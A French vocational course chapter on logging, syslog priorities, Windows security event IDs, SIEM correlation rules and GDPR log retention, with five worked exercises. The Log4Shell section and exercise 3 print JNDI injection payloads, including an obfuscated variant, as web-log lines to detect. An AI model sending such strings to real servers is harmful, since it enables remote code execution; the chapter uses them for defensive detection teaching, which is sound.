Chapitre 1317 minAvancé
Journaux, SIEM et détection des incidents
Par Josselyn C., prof de BTS SIO. Mis à jour le .
À la fin de ce chapitre, tu sauras
- décoder un message syslog et sa priorité ;
- reconnaître les événements Windows de sécurité essentiels ;
- expliquer le rôle d'un SIEM et écrire une règle de corrélation ;
- fixer une durée de conservation des journaux conforme au RGPD.
5 exercices corrigés1 schéma
Un journal (log) est l'enregistrement horodaté des événements d'un système : connexions, erreurs, paquets refusés, commandes d'administration. Un SIEM (Security Information and Event Management) collecte les journaux de toute l'infrastructure, les normalise, les corrèle et déclenche des alertes quand un enchaînement d'événements ressemble à une attaque. Ce chapitre présente les sources de journaux, le format syslog, les événements Windows à connaître, la centralisation, le fonctionnement d'un SIEM comme Wazuh, et les règles de conservation des journaux.
À quoi servent les journaux
Le référentiel du BTS demande de savoir « détecter les actions malveillantes » et « organiser la collecte et la conservation des preuves numériques ». Les journaux servent à trois choses :
- détecter : une rafale d'échecs de connexion, un compte ajouté au groupe des administrateurs à 3 h du matin, un serveur qui contacte une adresse inconnue ;
- enquêter : reconstituer après un incident ce qui s'est passé, depuis quand, par où l'attaquant est entré, ce qu'il a touché ;
- prouver : établir qui a fait quoi, devant la direction, un assureur ou un juge (le critère de preuve du DICP).
Sans journaux centralisés, une investigation est presque impossible : l'attaquant efface les journaux locaux, ou ils ont déjà été écrasés par manque de place. C'est l'une des difficultés relevées dans l'analyse forensique du sujet E7 SISR 2026.
Les sources de journaux
| Source | Ce qu'on y trouve | Exemple d'événement utile |
|---|---|---|
| Pare-feu | Flux acceptés et refusés | Le serveur de la DMZ tente de joindre le réseau interne |
| Proxy, DNS | Sites et domaines consultés | Requêtes régulières vers un domaine inconnu (chapitre 9) |
| Active Directory | Ouvertures de session, modifications de comptes et de groupes | Échecs répétés puis succès sur un même compte |
| Serveurs Linux | Authentifications, sudo, services | Connexion SSH réussie depuis une adresse inhabituelle |
| VPN, bastion | Connexions distantes et d'administration | Connexion d'un compte depuis deux pays à 10 minutes d'intervalle |
| IDS, EDR, antivirus | Alertes de détection | Programme qui chiffre des fichiers en masse |
| Switchs, bornes Wi-Fi | Ports qui tombent, violations de sécurité des ports, bornes inconnues | Port coupé pour violation (chapitre 5) |
| Applications | Connexions, erreurs, actions métier | Requêtes HTTP qui contiennent des motifs d'attaque |
Syslog
Syslog est le standard d'envoi des journaux sous Linux et sur les équipements réseau (format décrit par la RFC 5424). Chaque message porte une facilité (le type de programme qui l'émet) et une gravité :
| Gravité | Nom | Sens |
|---|---|---|
| 0 | emerg | Système inutilisable |
| 1 | alert | Action immédiate nécessaire |
| 2 | crit | Condition critique |
| 3 | err | Erreur |
| 4 | warning | Avertissement |
| 5 | notice | Événement normal mais notable |
| 6 | info | Information |
| 7 | debug | Débogage |
Les facilités les plus courantes sont kern (0), user (1), mail (2), daemon (3), auth (4), syslog (5), authpriv (10) et local0 à local7 (16 à 23), ces dernières étant libres et souvent utilisées par les équipements réseau. Au début de chaque message, la priorité <PRI> combine les deux : PRI = facilité × 8 + gravité. Par exemple :
<86>1 2026-04-21T03:12:44+02:00 srv-web sshd 2214 - - Failed password for invalid user admin from 198.51.100.23 port 51514 ssh2
<86> donne 86 = 10 × 8 + 6 : facilité authpriv, gravité info. Le message indique un échec de connexion SSH pour un utilisateur admin qui n'existe pas, depuis une adresse d'Internet.
Le transport. Syslog circule historiquement en UDP 514 : sans accusé de réception ni chiffrement, un message peut se perdre ou être lu en route. On préfère TCP, et idéalement TLS (TCP 6514), qui garantit la livraison, la confidentialité et l'authenticité du collecteur. Sur un serveur Debian, rsyslog (à installer : depuis Debian 12, les journaux sont gardés par journald et rsyslog n'est plus installé par défaut) envoie tout au collecteur avec un fichier /etc/rsyslog.d/90-central.conf :
*.* action(type="omfwd" target="192.168.10.180" port="514" protocol="tcp"
queue.type="LinkedList" queue.filename="envoi_central"
action.resumeRetryCount="-1")
La file d'attente sur disque garde les messages si le collecteur est injoignable, et les envoie quand il revient. Le passage à TLS ajoute un certificat signé par l'AC interne et les paramètres StreamDriver d'rsyslog, et le port passe à 6514, le seul qu'ouvre la matrice des flux de Sorbier (chapitre 3).
Les événements Windows à connaître
Les contrôleurs de domaine et les serveurs Windows écrivent dans le journal Sécurité des événements numérotés, à condition que la stratégie d'audit les active. Ceux qui reviennent le plus :
| ID | Événement | Ce qu'il peut signaler |
|---|---|---|
| 4624 | Ouverture de session réussie | Avec le type de session : 2 interactive (au clavier), 3 réseau (partage), 10 bureau à distance |
| 4625 | Échec d'ouverture de session | Une rafale : essais de mots de passe |
| 4740 | Compte verrouillé | Conséquence d'essais répétés |
| 4672 | Privilèges spéciaux attribués à une nouvelle session | Connexion d'un compte administrateur |
| 4720 | Compte utilisateur créé | Création d'un compte de persistance par un attaquant |
| 4728, 4732, 4756 | Membre ajouté à un groupe de sécurité (global, local, universel) | Élévation de privilèges : un compte ajouté à Admins du domaine |
| 4688 | Processus créé | Avec la ligne de commande, si l'audit l'inclut |
| 7045 | Service installé (journal Système) | Installation d'un outil malveillant comme service |
| 1102 | Journal d'audit effacé | Un attaquant efface ses traces : toujours une alerte |
Les journaux Windows remontent vers le collecteur par un agent (Wazuh, NXLog) ou par le transfert d'événements intégré à Windows (Windows Event Forwarding).
Centraliser : le serveur de journaux
Les journaux de toutes les machines sont envoyés en temps réel vers un serveur central (srv-journaux, 192.168.10.180, chez Sorbier). Cela permet de les conserver même si une machine est compromise ou détruite, de les rechercher en un seul endroit et de les corréler. Le serveur central doit être protégé à la hauteur de ce qu'il contient :
- accès réservé à quelques personnes habilitées, distinctes si possible des administrateurs des systèmes surveillés (un administrateur malveillant ne doit pas pouvoir effacer ses propres traces) ;
- journaux stockés en ajout seul ou en archives signées, pour en garantir l'intégrité ;
- sauvegardé, et dimensionné pour la durée de conservation prévue.
Le SIEM
Un serveur de journaux stocke ; un SIEM analyse. Ses fonctions :
- Collecter les journaux de toutes les sources (syslog, agents, API des services en nuage).
- Normaliser : un échec de connexion s'écrit différemment dans un journal SSH, un événement Windows 4625 et un journal de VPN ; le SIEM les range dans un même format (utilisateur, source, action, résultat).
- Corréler : rapprocher des événements de sources différentes qui, ensemble, décrivent une attaque.
- Alerter et présenter des tableaux de bord.
- Conserver et permettre la recherche lors d'une enquête.
Wazuh est le SIEM libre le plus utilisé en formation et dans les PME. Il se compose d'agents installés sur les machines (Windows, Linux, macOS), qui envoient journaux, contrôle d'intégrité des fichiers et inventaire au serveur Wazuh (ports TCP 1514 pour les événements, 1515 pour l'inscription des agents) ; d'un indexeur qui stocke et indexe ; et d'un tableau de bord web. Il reçoit aussi le syslog des équipements réseau. Ses règles associent chaque alerte à une technique de MITRE ATT&CK. Dans les grandes organisations, on rencontre aussi Splunk, Elastic Security, Microsoft Sentinel ou IBM QRadar. Le cours Wazuh l'installe sur le labo de Sorbier et montre comment lire une alerte et détecter les incidents courants.
Quelques règles de corrélation typiques :
| Règle | Événements rapprochés | Technique ATT&CK |
|---|---|---|
| Force brute réussie | Plus de 10 échecs (4625) sur un compte, suivis d'un succès (4624) du même compte en moins de 10 minutes | T1110 Brute Force, puis T1078 Valid Accounts |
| Voyage impossible | Connexions VPN d'un même compte depuis deux pays éloignés à moins d'une heure d'intervalle | T1078 Valid Accounts |
| Élévation hors horaires | Ajout d'un compte à un groupe d'administration (4728, 4732, 4756) en dehors des heures ouvrées | T1098 Account Manipulation |
| Effacement de traces | Journal d'audit effacé (1102) | T1685.005 Clear Windows Event Logs (T1070.001 avant la version 19) |
| Serveur exposé compromis | Alerte IDS sur le serveur web, puis connexion de ce serveur vers le réseau interne refusée par le pare-feu | T1190 Exploit Public-Facing Application, puis T1021 Remote Services |
SOC, EDR et organisation de la détection
Les alertes ne servent que si quelqu'un les traite. Un SOC (Security Operations Center) est l'équipe qui surveille les alertes, les qualifie (vrai ou faux positif), et déclenche la réponse. Une PME comme Sorbier n'a pas les moyens d'un SOC interne ouvert jour et nuit : elle confie souvent cette surveillance à un prestataire (SOC externalisé, service MDR, Managed Detection and Response), comme dans le sujet 2026, où le SOC d'un prestataire suit les alertes de l'entreprise.
Sur les machines, l'EDR (Endpoint Detection and Response) a remplacé l'antivirus classique : il observe le comportement des programmes (un traitement de texte qui lance PowerShell, un processus qui chiffre des centaines de fichiers), alerte, et peut isoler la machine du réseau à distance. L'XDR étend la même logique en corrélant postes, réseau, messagerie et identités.
Exemple : chercher Log4Shell dans des journaux
La faille Log4Shell (CVE-2021-44228), analysée dans le sujet 2026, touche la bibliothèque Java Log4j 2 (versions 2.0 à 2.14.1). Une application vulnérable qui journalise une chaîne contrôlée par l'attaquant (un en-tête HTTP, un identifiant saisi) peut être amenée à télécharger et exécuter du code. Côté défense, deux questions :
- Quelles machines sont des cibles potentielles ? Celles qui exécutent une application Java embarquant une version vulnérable de Log4j 2, en particulier si elle est joignable depuis Internet. L'inventaire logiciel et un outil de recherche des bibliothèques sur les serveurs répondent à la question ; la correction est de passer à Log4j 2.17.1 ou plus, idéalement à la dernière version.
- Y a-t-il des traces de tentatives ? Dans les journaux du serveur web ou de l'application, les tentatives contiennent la chaîne
${jndi:, souvent suivie deldap://oudns://, dans l'URL, l'en-têteUser-Agentou un champ de formulaire, parfois déguisée (${${lower:j}ndi:). Une tentative n'est pas une compromission : il faut ensuite vérifier si le serveur a réellement contacté l'adresse indiquée (journaux du pare-feu, connexions sortantes).
Combien de temps conserver les journaux ?
- Les journaux contiennent des données personnelles (identifiants, adresses IP, sites consultés) : le RGPD s'applique. Leur durée de conservation doit être fixée et justifiée, et le traitement inscrit au registre.
- La CNIL recommande, pour les journaux de sécurité des accès, une durée de conservation comprise entre six mois et un an, sauf obligation légale particulière.
- Un organisme qui fournit un accès à Internet au public conserve les données qui permettent d'identifier l'utilisateur d'une connexion pendant un an (chapitre 8).
- Ne pas confondre avec les archives comptables (dix ans, article L123-22 du Code de commerce) ou fiscales (six ans, article L102 B du Livre des procédures fiscales), qui concernent des documents, pas les journaux techniques.
Au-delà de la durée, la CNIL demande de protéger les journaux (accès restreint, intégrité), et de les exploiter réellement : collecter sans jamais regarder n'a pas de sens.
Pour aller plus loin. Le cours Journalisation et réponse à incident détaille quoi journaliser et combien de temps, la lecture des logs et les indicateurs de compromission.
Exercices
Exercice 1 sur 5 Décoder une priorité syslog Réussi À revoir
Donne la facilité et la gravité de chaque message : <34>, <86>, <165>, <190>.
Voir la réponseMasquer la réponse de l'exercice 1
On divise par 8 : le quotient est la facilité, le reste la gravité.
<34>: 34 = 4 × 8 + 2 → facilité auth (4), gravité crit (2).<86>: 86 = 10 × 8 + 6 → authpriv (10), info (6).<165>: 165 = 20 × 8 + 5 → local4 (20), notice (5).<190>: 190 = 23 × 8 + 6 → local7 (23), info (6).
Tu avais trouvé ?
Exercice 2 sur 5 Lire une séquence d'événements Windows Réussi À revoir
Voici des événements du contrôleur de domaine, une nuit :
| Heure | ID | Compte | Source | Détail |
|---|---|---|---|---|
| 02:58:10 à 03:04:51 | 4625 (× 312) | j.petit | 192.168.10.71 | Échec, type de session 3 |
| 03:05:02 | 4624 | j.petit | 192.168.10.71 | Succès, type de session 3 |
| 03:21:40 | 4728 | ajouté : j.petit ; groupe : Admins du domaine | — | Par le compte adm-svc-sauvegarde |
| 03:22:15 | 4672 | j.petit | 192.168.10.71 | Privilèges spéciaux |
| 03:40:03 | 1102 | — | — | Journal d'audit effacé |
- Raconte ce qui s'est passé.
- Associe chaque étape à une technique ATT&CK de ce chapitre.
- Quelles règles de corrélation l'auraient signalé, et à quel moment ?
Voir la réponseMasquer la réponse de l'exercice 2
- Depuis le poste
192.168.10.71, quelqu'un a essayé 312 mots de passe sur le comptej.petiten six minutes, puis a réussi. Vingt minutes plus tard,j.petita été ajouté au groupe Admins du domaine par le compte de service de sauvegarde, ce qui suggère que ce compte de service est aussi compromis (ou que son mot de passe était connu). La session dej.petita alors obtenu des privilèges d'administration, puis le journal d'audit a été effacé pour masquer les traces. - Essais de mots de passe : T1110 Brute Force ; connexion réussie avec le compte : T1078 Valid Accounts ; ajout au groupe : T1098 Account Manipulation ; effacement : T1685.005 Clear Windows Event Logs (T1070.001 avant la version 19).
- « Force brute réussie » dès 03:05:02 (échecs nombreux suivis d'un succès) ; « élévation hors horaires » à 03:21:40 ; « effacement de traces » à 03:40:03. Le journal ayant été envoyé en temps réel au SIEM, son effacement local n'efface pas ce qui a déjà été collecté. Il faut aussi isoler le poste
.71, désactiverj.petitet le compte de service, et lancer la gestion d'incident.
Tu avais trouvé ?
Exercice 3 sur 5 Chercher des traces de Log4Shell Réussi À revoir
Voici un extrait du journal du serveur web d'une entreprise :
198.51.100.77 - - [17/Apr/2026:10:12:01 +0200] "GET /suivi?colis=4471 HTTP/1.1" 200 5120 "-" "Mozilla/5.0"
203.0.113.99 - - [17/Apr/2026:10:14:37 +0200] "GET / HTTP/1.1" 200 1032 "-" "${jndi:ldap://203.0.113.99:1389/a}"
198.51.100.77 - - [17/Apr/2026:10:15:10 +0200] "GET /suivi?colis=4472 HTTP/1.1" 200 5098 "-" "Mozilla/5.0"
192.0.2.14 - - [17/Apr/2026:10:16:52 +0200] "GET /?q=${${lower:j}ndi:dns://192.0.2.14/x} HTTP/1.1" 200 1032 "-" "curl/8.5"
- Quelles lignes sont des tentatives Log4Shell ? Justifie.
- Ces lignes prouvent-elles que le serveur est compromis ? Que vérifies-tu ensuite ?
Voir la réponseMasquer la réponse de l'exercice 3
- La deuxième ligne (chaîne
${jndi:ldap://…}dans l'en-têteUser-Agent) et la quatrième (chaîne déguisée${${lower:j}ndi:dns://…}dans le paramètreqde l'URL). Les lignes 1 et 3 sont des consultations normales du suivi de colis. - Non : ce sont des tentatives. Le code 200 dit seulement que la page a été servie, pas que la chaîne a été interprétée. Il faut vérifier si le serveur fait tourner une application Java avec une version vulnérable de Log4j 2 (inventaire), et surtout s'il a contacté les adresses indiquées (
203.0.113.99sur le port 1389, ou une requête DNS vers192.0.2.14) : journaux du pare-feu et du DNS. Grâce au filtrage sortant de la DMZ, de telles connexions devraient être bloquées et apparaître comme refusées dans le journal du pare-feu.
Tu avais trouvé ?
Exercice 4 sur 5 Pourquoi centraliser et synchroniser ? Réussi À revoir
Le responsable de Sorbier trouve que « chaque serveur a déjà ses journaux, un serveur central ne sert à rien ». Donne trois arguments pour la centralisation, et explique le rôle de NTP.
Voir la réponseMasquer la réponse de l'exercice 4
- Conservation : un attaquant qui prend le contrôle d'un serveur efface ses journaux locaux ; copiés en temps réel ailleurs, ils restent disponibles. Un serveur détruit (rançongiciel, panne) ne fait pas disparaître ses traces.
- Corrélation : une attaque se lit sur plusieurs sources (pare-feu, annuaire, serveur, VPN) ; seul un point central permet de les rapprocher et d'alerter sur l'enchaînement.
- Recherche et preuve : une enquête se mène en un seul endroit, sur des journaux protégés en intégrité, opposables en cas de litige ou de plainte.
- NTP : toutes les machines à la même heure, pour que l'ordre des événements soit fiable d'une source à l'autre. Sans synchronisation, des écarts de quelques minutes rendent la chronologie fausse et la corrélation impossible.
Tu avais trouvé ?
Exercice 5 sur 5 Durée de conservation Réussi À revoir
Sorbier conserve indéfiniment les journaux de son proxy (sites consultés par chaque salarié) « au cas où ». Est-ce conforme ? Que proposes-tu ?
Voir la réponseMasquer la réponse de l'exercice 5
Non. Ces journaux contiennent des données personnelles (identité des salariés, sites consultés). Le RGPD impose une durée de conservation limitée et justifiée par la finalité (ici la sécurité). Proposition : fixer une durée, par exemple six mois à un an comme le recommande la CNIL pour les journaux de sécurité, supprimer automatiquement au-delà ; restreindre l'accès aux personnes habilitées ; informer les salariés (charte) ; inscrire le traitement au registre. Une conservation plus longue de certains éléments n'est possible que si une obligation légale ou une procédure en cours l'exige (par exemple, des journaux mis sous séquestre après un incident).
Tu avais trouvé ?